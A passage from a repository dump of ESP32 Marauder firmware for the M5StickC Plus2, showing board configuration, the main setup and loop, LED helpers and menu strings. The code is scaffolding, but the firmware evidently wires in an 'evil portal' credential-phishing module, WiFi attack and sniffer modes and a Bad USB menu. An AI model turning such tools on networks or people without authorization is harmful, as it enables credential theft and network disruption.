583 |
584 | // Keypad start position, key sizes and spacing
585 | #define KEY_X 120 // Centre of key
586 | #define KEY_Y 50
587 | #define KEY_W 240 // Width and height
588 | #define KEY_H 22
589 | #define KEY_SPACING_X 0 // X and Y gap
590 | #define KEY_SPACING_Y 1
591 | #define KEY_TEXTSIZE 1 // Font size multiplier
592 | #define ICON_W 22
593 | #define ICON_H 22
594 | #define BUTTON_PADDING 22
595 | //#define BUTTON_ARRAY_LEN 5
596 | #endif
597 |
598 | #if defined(MARAUDER_V6) || defined(MARAUDER_V6_1)
599 | #define BANNER_TIME 100
600 |
601 | #define COMMAND_PREFIX "!"
602 |
603 | // Keypad start position, key sizes and spacing
604 | #define KEY_X 120 // Centre of key
605 | #define KEY_Y 50
606 | #define KEY_W 240 // Width and height
607 | #define KEY_H 22
608 | #define KEY_SPACING_X 0 // X and Y gap
609 | #define KEY_SPACING_Y 1
610 | #define KEY_TEXTSIZE 1 // Font size multiplier
611 | #define ICON_W 22
612 | #define ICON_H 22
613 | #define BUTTON_PADDING 22
614 | //#define BUTTON_ARRAY_LEN 5
615 | #endif
616 |
617 | #ifdef MARAUDER_KIT
618 | #define BANNER_TIME 100
619 |
620 | #define COMMAND_PREFIX "!"
621 |
622 | // Keypad start position, key sizes and spacing
623 | #define KEY_X 120 // Centre of key
624 | #define KEY_Y 50
625 | #define KEY_W 240 // Width and height
626 | #define KEY_H 22
627 | #define KEY_SPACING_X 0 // X and Y gap
628 | #define KEY_SPACING_Y 1
629 | #define KEY_TEXTSIZE 1 // Font size multiplier
630 | #define ICON_W 22
631 | #define ICON_H 22
632 | #define BUTTON_PADDING 22
633 | //#define BUTTON_ARRAY_LEN 5
634 | #endif
635 |
636 | #ifdef MARAUDER_MINI
637 | #define BANNER_TIME 50
638 |
639 | #define COMMAND_PREFIX "!"
640 |
641 | // Keypad start position, key sizes and spacing
642 | #define KEY_X (TFT_WIDTH/2) // Centre of key
643 | #define KEY_Y (TFT_HEIGHT/4.5)
644 | #define KEY_W TFT_WIDTH // Width and height
645 | #define KEY_H (TFT_HEIGHT/12.8)
646 | #define KEY_SPACING_X 0 // X and Y gap
647 | #define KEY_SPACING_Y 1
648 | #define KEY_TEXTSIZE 1 // Font size multiplier
649 | #define ICON_W 22
650 | #define ICON_H 22
651 | #define BUTTON_PADDING 10
652 | #endif
653 |
654 | #ifdef MARAUDER_M5STICKC
655 | #define BANNER_TIME 150
656 |
657 | #define COMMAND_PREFIX "!"
658 |
659 | // Keypad start position, key sizes and spacing
660 | #define KEY_X (TFT_WIDTH/2) // Centre of key
661 | #define KEY_Y (TFT_HEIGHT/5)
662 | #define KEY_W TFT_HEIGHT // Width and height
663 | #define KEY_H (TFT_HEIGHT/17)
664 | #define KEY_SPACING_X 0 // X and Y gap
665 | #define KEY_SPACING_Y 1
666 | #define KEY_TEXTSIZE 1 // Font size multiplier
667 | #define ICON_W 22
668 | #define ICON_H 22
669 | #define BUTTON_PADDING 60
670 | #endif
671 | //// END MENU DEFINITIONS
672 |
673 | //// SD DEFINITIONS
674 | #ifdef FLIPPER_ZERO_HAT
675 |
676 | #ifdef USE_FLIPPER_SD
677 | #define WRITE_PACKETS_SERIAL
678 | #endif
679 |
680 | #elif defined(USE_SD)
681 |
682 | #ifdef MARAUDER_V4
683 | #define SD_CS 12
684 | #endif
685 |
686 | #ifdef MARAUDER_V6
687 | #define SD_CS 12
688 | #endif
689 |
690 | #ifdef MARAUDER_V6_1
691 | #define SD_CS 14
692 | #endif
693 |
694 | #ifdef MARAUDER_KIT
695 | #define SD_CS 12
696 | #endif
697 |
698 | #ifdef MARAUDER_MINI
699 | #define SD_CS 4
700 | #endif
701 |
702 | #ifdef MARAUDER_M5STICKC
703 | #define SD_CS -1
704 | #endif
705 |
706 | #ifdef MARAUDER_FLIPPER
707 | #define SD_CS 10
708 | #endif
709 |
710 | #ifdef ESP32_LDDB
711 | #define SD_CS 4
712 | #endif
713 |
714 | #ifdef MARAUDER_DEV_BOARD_PRO
715 | #define SD_CS 4
716 | #endif
717 |
718 | #ifdef XIAO_ESP32_S3
719 | #define SD_CS 3
720 | #endif
721 |
722 | #endif
723 | //// END SD DEFINITIONS
724 |
725 | //// SCREEN STUFF
726 | #ifndef HAS_SCREEN
727 |
728 | #define TFT_WHITE 0
729 | #define TFT_CYAN 0
730 | #define TFT_BLUE 0
731 | #define TFT_RED 0
732 | #define TFT_GREEN 0
733 | #define TFT_GREY 0
734 | #define TFT_GRAY 0
735 | #define TFT_MAGENTA 0
736 | #define TFT_VIOLET 0
737 | #define TFT_ORANGE 0
738 | #define TFT_YELLOW 0
739 | #define STANDARD_FONT_CHAR_LIMIT 40
740 | #define FLASH_BUTTON -1
741 |
742 | #include
743 | #include
744 | #include
745 | #include "SPIFFS.h"
746 | #include "Assets.h"
747 |
748 | #endif
749 | //// END SCREEN STUFF
750 |
751 | //// MEMORY LOWER LIMIT STUFF
752 | // These values are in bytes
753 | #ifdef MARAUDER_M5STICKC
754 | #define MEM_LOWER_LIM 20000
755 | #elif defined(MARAUDER_MINI)
756 | #define MEM_LOWER_LIM 20000
757 | #elif defined(MARAUDER_V4)
758 | #define MEM_LOWER_LIM 20000
759 | #elif defined(MARAUDER_V6) || defined(MARAUDER_V6_1)
760 | #define MEM_LOWER_LIM 20000
761 | #elif defined(MARAUDER_KIT)
762 | #define MEM_LOWER_LIM 20000
763 | #elif defined(GENERIC_ESP32)
764 | #define MEM_LOWER_LIM 20000
765 | #elif defined(MARAUDER_FLIPPER)
766 | #define MEM_LOWER_LIM 20000
767 | #elif defined(ESP32_LDDB)
768 | #define MEM_LOWER_LIM 20000
769 | #elif defined(MARAUDER_DEV_BOARD_PRO)
770 | #define MEM_LOWER_LIM 20000
771 | #elif defined(XIAO_ESP32_S3)
772 | #define MEM_LOWER_LIM 20000
773 | #endif
774 | //// END MEMORY LOWER LIMIT STUFF
775 |
776 | //// NEOPIXEL STUFF
777 | #ifdef HAS_NEOPIXEL_LED
778 |
779 | #if defined(ESP32_LDDB)
780 | #define PIN 17
781 | #elif defined(MARAUDER_DEV_BOARD_PRO)
782 | #define PIN 16
783 | #else
784 | #define PIN 25
785 | #endif
786 |
787 | #endif
788 | //// END NEOPIXEL STUFF
789 |
790 | //// BOARD PIN OVERRIDES
791 | #ifdef XIAO_ESP32_S3
792 | #ifdef USE_FLIPPER_SD
793 | #define XIAO_RX1 1
794 | #define XIAO_TX1 2
795 | #endif
796 | #endif
797 | //// END BOARD PIN OVERRIDES
798 |
799 | //// EVIL PORTAL STUFF
800 | #ifdef MARAUDER_M5STICKC
801 | #define MAX_HTML_SIZE 11400
802 | #elif defined(MARAUDER_MINI)
803 | #define MAX_HTML_SIZE 11400
804 | #elif defined(MARAUDER_V4)
805 | #define MAX_HTML_SIZE 11400
806 | #elif defined(MARAUDER_V6) || defined(MARAUDER_V6_1)
807 | #define MAX_HTML_SIZE 11400
808 | #elif defined(MARAUDER_KIT)
809 | #define MAX_HTML_SIZE 11400
810 | #elif defined(GENERIC_ESP32)
811 | #define MAX_HTML_SIZE 20000
812 | #elif defined(MARAUDER_FLIPPER)
813 | #define MAX_HTML_SIZE 20000
814 | #elif defined(ESP32_LDDB)
815 | #define MAX_HTML_SIZE 20000
816 | #elif defined(MARAUDER_DEV_BOARD_PRO)
817 | #define MAX_HTML_SIZE 20000
818 | #elif defined(XIAO_ESP32_S3)
819 | #define MAX_HTML_SIZE 20000
820 | #else
821 | #define MAX_HTML_SIZE 20000
822 | #endif
823 | //// END EVIL PORTAL STUFF
824 |
825 | //// GPS STUFF
826 | #ifdef HAS_GPS
827 | #if defined(MARAUDER_V6) || defined(MARAUDER_V6_1)
828 | #define GPS_SERIAL_INDEX 2
829 | #define GPS_TX 4
830 | #define GPS_RX 13
831 | #define mac_history_len 512
832 | #elif defined(MARAUDER_V4)
833 | #define GPS_SERIAL_INDEX 2
834 | #define GPS_TX 4
835 | #define GPS_RX 13
836 | #define mac_history_len 512
837 | #elif defined(MARAUDER_KIT)
838 | #define GPS_SERIAL_INDEX 2
839 | #define GPS_TX 4
840 | #define GPS_RX 13
841 | #define mac_history_len 512
842 | #elif defined(MARAUDER_DEV_BOARD_PRO)
843 | #define GPS_SERIAL_INDEX 2
844 | #define GPS_TX 21
845 | #define GPS_RX 17
846 | #define mac_history_len 512
847 | #elif defined(MARAUDER_MINI)
848 | #define GPS_SERIAL_INDEX 2
849 | #define GPS_TX 21
850 | #define GPS_RX 22
851 | #define mac_history_len 512
852 | #elif defined(MARAUDER_FLIPPER)
853 | #ifdef WRITE_PACKETS_SERIAL
854 | #define GPS_SOFTWARE_SERIAL
855 | #else
856 | #define GPS_SERIAL_INDEX 1
857 | #endif
858 | #define GPS_TX 9
859 | #define GPS_RX 21
860 | #define mac_history_len 512
861 | #elif defined(MARAUDER_M5STICKC)
862 | #define GPS_SERIAL_INDEX 1
863 | #define GPS_TX 33
864 | #define GPS_RX 32
865 | #define mac_history_len 512
866 | #endif
867 | #else
868 | #define mac_history_len 512
869 | #endif
870 | //// END GPS STUFF
871 |
872 | //// MARAUDER TITLE STUFF
873 | #ifdef MARAUDER_V4
874 | #define MARAUDER_TITLE_BYTES 13578
875 | #elif defined(MARAUDER_V6) || defined(MARAUDER_V6_1)
876 | #define MARAUDER_TITLE_BYTES 13578
877 | #elif defined(MARAUDER_KIT)
878 | #define MARAUDER_TITLE_BYTES 13578
879 | #elif defined(MARAUDER_MINI)
880 | #define MARAUDER_TITLE_BYTES 13578
881 | #else
882 | #define MARAUDER_TITLE_BYTES 13578
883 | #endif
884 | //// END MARAUDER TITLE STUFF
885 |
886 | #endif
887 |
--------------------------------------------------------------------------------
/esp32_marauderm5stickcplus2/data/marauder3L.jpg:
--------------------------------------------------------------------------------
https://raw.githubusercontent.com/kazz2020/M5Stickc-ESP32-Marauder-Plus2/3035411eb8e0e88eb1452a64ea868c3e7590504a/esp32_marauderm5stickcplus2/data/marauder3L.jpg
--------------------------------------------------------------------------------
/esp32_marauderm5stickcplus2/data/marauder3L1.jpg:
--------------------------------------------------------------------------------
https://raw.githubusercontent.com/kazz2020/M5Stickc-ESP32-Marauder-Plus2/3035411eb8e0e88eb1452a64ea868c3e7590504a/esp32_marauderm5stickcplus2/data/marauder3L1.jpg
--------------------------------------------------------------------------------
/esp32_marauderm5stickcplus2/data/marauder_mini.jpg:
--------------------------------------------------------------------------------
https://raw.githubusercontent.com/kazz2020/M5Stickc-ESP32-Marauder-Plus2/3035411eb8e0e88eb1452a64ea868c3e7590504a/esp32_marauderm5stickcplus2/data/marauder_mini.jpg
--------------------------------------------------------------------------------
/esp32_marauderm5stickcplus2/esp32_marauderm5stickcplus2.ino:
--------------------------------------------------------------------------------
1 | #include
2 |
3 | /* FLASH SETTINGS
4 | Board: LOLIN D32
5 | Flash Frequency: 80MHz
6 | Partition Scheme: Minimal SPIFFS
7 | https://www.online-utility.org/image/convert/to/XBM
8 | */
9 |
10 | #include "configs.h"
11 |
12 | #ifndef HAS_SCREEN
13 | #define MenuFunctions_h
14 | #define Display_h
15 | #endif
16 |
17 | #include
18 | //#include "Web.h"
19 | #include "EvilPortal.h"
20 | #include
21 | #include "esp_wifi.h"
22 | #include "esp_wifi_types.h"
23 | #include
24 | #include "freertos/FreeRTOS.h"
25 | #include "freertos/task.h"
26 | #include "esp_system.h"
27 | #include
28 |
29 | #ifdef HAS_GPS
30 | #include "GpsInterface.h"
31 | #endif
32 |
33 | #include "Assets.h"
34 | #include "WiFiScan.h"
35 | #ifdef HAS_SD
36 | #include "SDInterface.h"
37 | #endif
38 | #include "Buffer.h"
39 |
40 | #ifdef MARAUDER_FLIPPER
41 | #include "flipperLED.h"
42 | #elif defined(XIAO_ESP32_S3)
43 | #include "xiaoLED.h"
44 | #elif defined(MARAUDER_M5STICKC)
45 | #include "stickcLED.h"
46 | #else
47 | #include "LedInterface.h"
48 | #endif
49 |
50 | //#include "esp_interface.h"
51 | #include "settings.h"
52 | #include "CommandLine.h"
53 | #include "lang_var.h"
54 |
55 | #ifdef HAS_BATTERY
56 | #include "BatteryInterface.h"
57 | #endif
58 |
59 | //#ifdef HAS_TEMP_SENSOR
60 | // #include "TemperatureInterface.h"
61 | //#endif
62 |
63 | #ifdef HAS_SCREEN
64 | #include "Display.h"
65 | #include "MenuFunctions.h"
66 | //#include "a32u4_interface.h"
67 | #endif
68 |
69 | #ifdef HAS_BUTTONS
70 | #include
71 |
72 | #if (U_BTN >= 0)
73 | SwitchLib u_btn = SwitchLib(U_BTN, 1000, true);
74 | #endif
75 | #if (D_BTN >= 0)
76 | SwitchLib d_btn = SwitchLib(D_BTN, 1000, true);
77 | #endif
78 | #if (L_BTN >= 0)
79 | SwitchLib l_btn = SwitchLib(L_BTN, 1000, true);
80 | #endif
81 | #if (R_BTN >= 0)
82 | SwitchLib r_btn = SwitchLib(R_BTN, 1000, true);
83 | #endif
84 | #if (C_BTN >= 0)
85 | SwitchLib c_btn = SwitchLib(C_BTN, 1000, true);
86 | #endif
87 |
88 | #endif
89 |
90 | WiFiScan wifi_scan_obj;
91 | EvilPortal evil_portal_obj;
92 | //Web web_obj;
93 | Buffer buffer_obj;
94 | //EspInterface esp_obj;
95 | Settings settings_obj;
96 | CommandLine cli_obj;
97 |
98 | #ifdef HAS_GPS
99 | GpsInterface gps_obj;
100 | #endif
101 |
102 | #ifdef HAS_BATTERY
103 | BatteryInterface battery_obj;
104 | #endif
105 |
106 | //#ifdef HAS_TEMP_SENSOR
107 | // TemperatureInterface temp_obj;
108 | //#endif
109 |
110 | #ifdef HAS_SCREEN
111 | Display display_obj;
112 | MenuFunctions menu_function_obj;
113 | //A32u4Interface a32u4_obj;
114 | #endif
115 |
116 | #ifdef HAS_SD
117 | SDInterface sd_obj;
118 | #endif
119 |
120 | #ifdef MARAUDER_M5STICKC
121 | AXP192 axp192_obj;
122 | #endif
123 |
124 | #ifdef MARAUDER_FLIPPER
125 | flipperLED flipper_led;
126 | #elif defined(XIAO_ESP32_S3)
127 | xiaoLED xiao_led;
128 | #elif defined(MARAUDER_M5STICKC)
129 | stickcLED stickc_led;
130 | #else
131 | LedInterface led_obj;
132 | #endif
133 |
134 | const String PROGMEM version_number = MARAUDER_VERSION;
135 |
136 | #ifdef HAS_NEOPIXEL_LED
137 | Adafruit_NeoPixel strip = Adafruit_NeoPixel(Pixels, PIN, NEO_GRB + NEO_KHZ800);
138 | #endif
139 |
140 | uint32_t currentTime = 0;
141 |
142 |
143 | void backlightOn() {
144 | #ifdef HAS_SCREEN
145 | #ifdef MARAUDER_MINI
146 | digitalWrite(TFT_BL, LOW);
147 | #endif
148 |
149 | #ifndef MARAUDER_MINI
150 | digitalWrite(TFT_BL, HIGH);
151 | #endif
152 | #endif
153 | }
154 |
155 | void backlightOff() {
156 | #ifdef HAS_SCREEN
157 | #ifdef MARAUDER_MINI
158 | digitalWrite(TFT_BL, HIGH);
159 | #endif
160 |
161 | #ifndef MARAUDER_MINI
162 | digitalWrite(TFT_BL, LOW);
163 | #endif
164 | #endif
165 | }
166 |
167 |
168 | void setup(){
169 | // Set digital pin 4 (GPIO4) to high state
170 | pinMode(4, OUTPUT);
171 | digitalWrite(4, HIGH);
172 |
173 | {
174 | #ifdef MARAUDER_M5STICKC
175 | axp192_obj.begin();
176 | #endif
177 |
178 | //pinMode(FLASH_BUTTON, INPUT);
179 |
180 | #ifdef HAS_SCREEN
181 | pinMode(TFT_BL, OUTPUT);
182 | #endif
183 |
184 | backlightOff();
185 | #if BATTERY_ANALOG_ON == 1
186 | pinMode(BATTERY_PIN, OUTPUT);
187 | pinMode(CHARGING_PIN, INPUT);
188 | #endif
189 |
190 | // Preset SPI CS pins to avoid bus conflicts
191 | #ifdef HAS_SCREEN
192 | digitalWrite(TFT_CS, HIGH);
193 | #endif
194 |
195 | #ifdef HAS_SD
196 | pinMode(SD_CS, OUTPUT);
197 |
198 | delay(10);
199 |
200 | digitalWrite(SD_CS, HIGH);
201 |
202 | delay(10);
203 | #endif
204 |
205 | Serial.begin(115200);
206 |
207 | // Starts a second serial channel to stream the captured packets
208 | #ifdef WRITE_PACKETS_SERIAL
209 |
210 | #ifdef XIAO_ESP32_S3
211 | Serial1.begin(115200, SERIAL_8N1, XIAO_RX1, XIAO_TX1);
212 | #else
213 | Serial1.begin(115200);
214 | #endif
215 |
216 | #endif
217 |
218 | //Serial.println("\n\nHello, World!\n");
219 |
220 | Serial.println("ESP-IDF version is: " + String(esp_get_idf_version()));
221 |
222 | //#ifdef HAS_SCREEN
223 | // Serial.println("Has Screen");
224 | //#else
225 | // Serial.println("Does not have screen");
226 | //#endif
227 |
228 | #ifdef HAS_SCREEN
229 | display_obj.RunSetup();
230 | display_obj.tft.setTextColor(TFT_WHITE, TFT_BLACK);
231 | #endif
232 |
233 | backlightOff();
234 |
235 | // Draw the title screen
236 | #ifdef HAS_SCREEN
237 | #ifndef MARAUDER_MINI
238 | display_obj.drawJpeg("/marauder3L.jpg", 0 , 0); // 240 x 320 image
239 | #else
240 | display_obj.drawJpeg("/marauder3L.jpg", 0, 0);
241 | #endif
242 | #endif
243 |
244 | #ifdef HAS_SCREEN
245 | //showCenterText(version_number, 250);
246 | #ifndef MARAUDER_MINI
247 | display_obj.tft.drawCentreString(display_obj.version_number, 120, 250, 2);
248 | #endif
249 |
250 | #ifdef MARAUDER_MINI
251 | display_obj.tft.drawCentreString(display_obj.version_number, TFT_WIDTH/2, TFT_HEIGHT, 1);
252 | #endif
253 | #endif
254 |
255 | backlightOn(); // Need this
256 |
257 | #ifdef HAS_SCREEN
258 | delay(2000);
259 |
260 | // Do some stealth mode stuff
261 | #ifdef HAS_BUTTONS
262 | if (c_btn.justPressed()) {
263 | display_obj.headless_mode = true;
264 |
265 | backlightOff();
266 |
267 | Serial.println("Headless Mode enabled");
268 | }
269 | #endif
270 |
271 | display_obj.clearScreen();
272 |
273 | display_obj.tft.setTextColor(TFT_CYAN, TFT_BLACK);
274 |
275 | display_obj.tft.println(text_table0[0]);
276 |
277 | delay(2000);
278 |
279 | display_obj.tft.println("Marauder " + display_obj.version_number + "\n");
280 |
281 | display_obj.tft.println(text_table0[1]);
282 | #endif
283 |
284 | //Serial.println("Internal Temp: " + (String)((temprature_sens_read() - 32) / 1.8));
285 |
286 | settings_obj.begin();
287 |
288 | //Serial.println("This is a test Channel: " + (String)settings_obj.loadSetting("Channel"));
289 | //if (settings_obj.loadSetting( "Force PMKID"))
290 | // Serial.println("This is a test Force PMKID: true");
291 | //else
292 | // Serial.println("This is a test Force PMKID: false");
293 |
294 | wifi_scan_obj.RunSetup();
295 |
296 | //Serial.println(wifi_scan_obj.freeRAM());
297 |
298 | #ifdef HAS_SCREEN
299 | display_obj.tft.println(F(text_table0[2]));
300 | #endif
301 |
302 | #ifdef WRITE_PACKETS_SERIAL
303 | buffer_obj = Buffer();
304 | #elif defined(HAS_SD)
305 | // Do some SD stuff
306 | if(sd_obj.initSD()) {
307 | #ifdef HAS_SCREEN
308 | display_obj.tft.println(F(text_table0[3]));
309 | #endif
310 | } else {
311 | Serial.println(F("SD Card NOT Supported"));
312 | #ifdef HAS_SCREEN
313 | display_obj.tft.setTextColor(TFT_RED, TFT_BLACK);
314 | display_obj.tft.println(F(text_table0[4]));
315 | display_obj.tft.setTextColor(TFT_CYAN, TFT_BLACK);
316 | #endif
317 | }
318 | #endif
319 |
320 | evil_portal_obj.setup();
321 |
322 | #ifdef HAS_BATTERY
323 | battery_obj.RunSetup();
324 | #endif
325 |
326 | #ifdef HAS_SCREEN
327 | display_obj.tft.println(F(text_table0[5]));
328 | #endif
329 |
330 | // Temperature stuff
331 | //#ifdef HAS_TEMP_SENSOR
332 | // temp_obj.RunSetup();
333 | //#endif
334 |
335 | #ifdef HAS_SCREEN
336 | display_obj.tft.println(F(text_table0[6]));
337 | #endif
338 |
339 | #ifdef HAS_BATTERY
340 | battery_obj.battery_level = battery_obj.getBatteryLevel();
341 |
342 | // if (battery_obj.i2c_supported) {
343 | // Serial.println(F("IP5306 I2C Supported: true"));
344 | // }
345 | // else
346 | // Serial.println(F("IP5306 I2C Supported: false"));
347 | #endif
348 |
349 | // Do some LED stuff
350 | #ifdef MARAUDER_FLIPPER
351 | flipper_led.RunSetup();
352 | #elif defined(XIAO_ESP32_S3)
353 | xiao_led.RunSetup();
354 | #elif defined(MARAUDER_M5STICKC)
355 | stickc_led.RunSetup();
356 | #else
357 | led_obj.RunSetup();
358 | #endif
359 |
360 | #ifdef HAS_SCREEN
361 | display_obj.tft.println(F(text_table0[7]));
362 |
363 | delay(500);
364 | #endif
365 |
366 | #ifdef HAS_GPS
367 | gps_obj.begin();
368 | #ifdef HAS_SCREEN
369 | if (gps_obj.getGpsModuleStatus())
370 | display_obj.tft.println("GPS Module connected");
371 | else
372 | display_obj.tft.println("GPS Module NOT connected");
373 | #endif
374 | #endif
375 |
376 | #ifdef HAS_SCREEN
377 | display_obj.tft.println(F(text_table0[8]));
378 |
379 | display_obj.tft.setTextColor(TFT_WHITE, TFT_BLACK);
380 |
381 | delay(2000);
382 | #endif
383 |
384 | #ifdef HAS_SCREEN
385 | menu_function_obj.RunSetup();
386 | #endif
387 |
388 | //Serial.println(F("\n\n--------------------------------\n"));
389 | //Serial.println(F(" ESP32 Marauder \n"));
390 | //Serial.println(" " + version_number + "\n");
391 | //Serial.println(F(" By: justcallmekoko\n"));
392 | //Serial.println(F("--------------------------------\n\n"));
393 |
394 | Serial.println(F("CLI Ready"));
395 | cli_obj.RunSetup();
396 | }
397 | }
398 |
399 | void loop()
400 | {
401 | currentTime = millis();
402 | bool mini = false;
403 |
404 | #ifdef SCREEN_BUFFER
405 | mini = true;
406 | #endif
407 |
408 | // Update all of our objects
409 | /*#ifdef HAS_SCREEN
410 | bool do_draw = display_obj.draw_tft;
411 | #else
412 | bool do_draw = false;
413 | #endif*/
414 |
415 | //if ((!do_draw) && (wifi_scan_obj.currentScanMode != ESP_UPDATE))
416 | //{
417 | cli_obj.main(currentTime);
418 | #ifdef HAS_SCREEN
419 | display_obj.main(wifi_scan_obj.currentScanMode);
420 | #endif
421 | wifi_scan_obj.main(currentTime);
422 | //evil_portal_obj.main(wifi_scan_obj.currentScanMode);
423 |
424 | #ifdef HAS_GPS
425 | gps_obj.main();
426 | #endif
427 |
428 | #ifdef WRITE_PACKETS_SERIAL
429 | buffer_obj.forceSaveSerial();
430 | #elif defined(HAS_SD)
431 | sd_obj.main();
432 | #else
433 | return;
434 | #endif
435 |
436 | #ifdef HAS_BATTERY
437 | battery_obj.main(currentTime);
438 | //temp_obj.main(currentTime);
439 | #endif
440 | settings_obj.main(currentTime);
441 | if (((wifi_scan_obj.currentScanMode != WIFI_PACKET_MONITOR) && (wifi_scan_obj.currentScanMode != WIFI_SCAN_EAPOL)) ||
442 | (mini)) {
443 | #ifdef HAS_SCREEN
444 | menu_function_obj.main(currentTime);
445 | #endif
446 | //cli_obj.main(currentTime);
447 | }
448 | #ifdef MARAUDER_FLIPPER
449 | flipper_led.main();
450 | #elif defined(XIAO_ESP32_S3)
451 | xiao_led.main();
452 | #elif defined(MARAUDER_M5STICKC)
453 | stickc_led.main();
454 | #else
455 | led_obj.main(currentTime);
456 | #endif
457 |
458 | //if (wifi_scan_obj.currentScanMode == OTA_UPDATE)
459 | // web_obj.main();
460 | #ifdef HAS_SCREEN
461 | delay(1);
462 | #else
463 | delay(50);
464 | #endif
465 | //}
466 | /*else if (wifi_scan_obj.currentScanMode == ESP_UPDATE) {
467 | #ifdef HAS_SCREEN
468 | display_obj.main(wifi_scan_obj.currentScanMode);
469 | menu_function_obj.main(currentTime);
470 | #endif
471 |
472 | #ifdef MARAUDER_FLIPPER
473 | flipper_led.main();
474 | #elif defined(XIAO_ESP32_S3)
475 | xiao_led.main();
476 | #else
477 | led_obj.main(currentTime);
478 | #endif
479 |
480 | //cli_obj.main(currentTime);
481 | delay(1);
482 | }*/
483 | }
484 |
--------------------------------------------------------------------------------
/esp32_marauderm5stickcplus2/esp32_marauderm5stickcplus2.ino.m5stack_stickc_plus2.bin:
--------------------------------------------------------------------------------
https://raw.githubusercontent.com/kazz2020/M5Stickc-ESP32-Marauder-Plus2/3035411eb8e0e88eb1452a64ea868c3e7590504a/esp32_marauderm5stickcplus2/esp32_marauderm5stickcplus2.ino.m5stack_stickc_plus2.bin
--------------------------------------------------------------------------------
/esp32_marauderm5stickcplus2/flipperLED.cpp:
--------------------------------------------------------------------------------
1 | #include "flipperLED.h"
2 |
3 | void flipperLED::RunSetup() {
4 | pinMode(B_PIN, OUTPUT);
5 | pinMode(G_PIN, OUTPUT);
6 | pinMode(R_PIN, OUTPUT);
7 |
8 | if (!settings_obj.loadSetting("EnableLED")) {
9 | digitalWrite(B_PIN, HIGH);
10 | digitalWrite(G_PIN, HIGH);
11 | digitalWrite(R_PIN, HIGH);
12 | return;
13 | }
14 |
15 | delay(50);
16 |
17 | digitalWrite(B_PIN, LOW);
18 | delay(500);
19 | digitalWrite(B_PIN, HIGH);
20 | digitalWrite(G_PIN, LOW);
21 | delay(500);
22 | digitalWrite(G_PIN, HIGH);
23 | digitalWrite(R_PIN, LOW);
24 | delay(500);
25 | digitalWrite(R_PIN, HIGH);
26 | }
27 |
28 | void flipperLED::attackLED() {
29 | if (!settings_obj.loadSetting("EnableLED"))
30 | return;
31 |
32 | digitalWrite(B_PIN, HIGH);
33 | digitalWrite(G_PIN, HIGH);
34 | digitalWrite(R_PIN, HIGH);
35 | delay(10);
36 | digitalWrite(R_PIN, LOW);
37 | }
38 |
39 | void flipperLED::sniffLED() {
40 | if (!settings_obj.loadSetting("EnableLED"))
41 | return;
42 |
43 | digitalWrite(B_PIN, HIGH);
44 | digitalWrite(G_PIN, HIGH);
45 | digitalWrite(R_PIN, HIGH);
46 | delay(10);
47 | digitalWrite(B_PIN, LOW);
48 | }
49 |
50 | void flipperLED::offLED() {
51 | if (!settings_obj.loadSetting("EnableLED"))
52 | return;
53 |
54 | digitalWrite(B_PIN, HIGH);
55 | digitalWrite(G_PIN, HIGH);
56 | digitalWrite(R_PIN, HIGH);
57 | }
58 |
59 | void flipperLED::main() {
60 | // do nothing
61 | }
62 |
--------------------------------------------------------------------------------
/esp32_marauderm5stickcplus2/flipperLED.h:
--------------------------------------------------------------------------------
1 | #pragma once
2 |
3 | #ifndef flipperLED_h
4 | #define flipperLED_h
5 |
6 | #include "configs.h"
7 | #include "settings.h"
8 |
9 | #include
10 |
11 | #define B_PIN 4
12 | #define G_PIN 5
13 | #define R_PIN 6
14 |
15 | extern Settings settings_obj;
16 |
17 | class flipperLED {
18 |
19 | public:
20 | void RunSetup();
21 | void main();
22 | void attackLED();
23 | void sniffLED();
24 | void offLED();
25 | };
26 |
27 | #endif
28 |
--------------------------------------------------------------------------------
/esp32_marauderm5stickcplus2/lang_var.h:
--------------------------------------------------------------------------------
1 | #pragma once
2 |
3 | #ifndef lang_var_h
4 | #define lang_var_h
5 |
6 |
7 | #include "configs.h"
8 |
9 | //Starting window texts
10 | PROGMEM const char text0_0[] = "Giving room for HardwareSerial...";
11 | PROGMEM const char text0_1[] = "Started Serial";
12 | PROGMEM const char text0_2[] = "Checked RAM";
13 | PROGMEM const char text0_3[] = "Initialized SD Card";
14 | PROGMEM const char text0_4[] = "Failed to Initialize SD Card";
15 | PROGMEM const char text0_5[] = "Checked battery configuration";
16 | PROGMEM const char text0_6[] = "Initialized temperature interface";
17 | PROGMEM const char text0_7[] = "Initialized LED Interface";
18 | PROGMEM const char text0_8[] = "Starting...";
19 |
20 | //Single library (action) texts/Often used
21 | PROGMEM const char text00[] = "Battery Level changed: ";
22 | PROGMEM const char text01[] = "file closed";
23 | PROGMEM const char text02[] = "Failed to open file '";
24 | PROGMEM const char text03[] = "ON";
25 | PROGMEM const char text04[] = "OFF";
26 | PROGMEM const char text05[] = "Load";
27 | PROGMEM const char text06[] = "Save As";
28 | PROGMEM const char text07[] = "Exit";
29 | PROGMEM const char text08[] = "Settings";
30 | PROGMEM const char text09[] = "Back";
31 | PROGMEM const char text10[] = "Channel:";
32 | PROGMEM const char text11[] = "Touch screen to exit";
33 | PROGMEM const char text12[] = "Cancel";
34 | PROGMEM const char text13[] = "Save";
35 | PROGMEM const char text14[] = "Yes";
36 | PROGMEM const char text15[] = "Opening /update.bin...";
37 | PROGMEM const char text16[] = "Close";
38 | PROGMEM const char text17[] = "FAIL";
39 | PROGMEM const char text18[] = "packets/sec: ";
40 |
41 |
42 | //Menufunctions.cpp texts
43 | PROGMEM const char text1_0[] = "SSID List";
44 | PROGMEM const char text1_1[] = "Add SSIDs";
45 | PROGMEM const char text1_2[] = "SSID: ";
46 | PROGMEM const char text1_3[] = "Password:";
47 | PROGMEM const char text1_4[] = "Setting disabled";
48 | PROGMEM const char text1_5[] = "Setting on";
49 | PROGMEM const char text1_6[] = "ESP32 Marauder ";
50 | PROGMEM const char text1_7[] = "WiFi ";
51 | PROGMEM const char text1_8[] = "Bad USB ";
52 | PROGMEM const char text1_9[] = "Device ";
53 | PROGMEM const char text1_10[] = "General Apps ";
54 | PROGMEM const char text1_11[] = "Updating... ";
55 | PROGMEM const char text1_12[] = "Select Method ";
56 | PROGMEM const char text1_13[] = "Confirm Update ";
57 | PROGMEM const char text1_14[] = "ESP8266 Update ";
58 | PROGMEM const char text1_15[] = "Update Firmware ";
59 | PROGMEM const char text1_16[] = "Language ";
60 | PROGMEM const char text1_17[] = "Device Info ";
61 | PROGMEM const char text1_18[] = "Settings ";
62 | PROGMEM const char text1_19[] = "Bluetooth ";
63 | PROGMEM const char text1_20[] = "WiFi Sniffers ";
64 | PROGMEM const char text1_21[] = "WiFi Attacks ";
65 | PROGMEM const char text1_22[] = "WiFi General ";
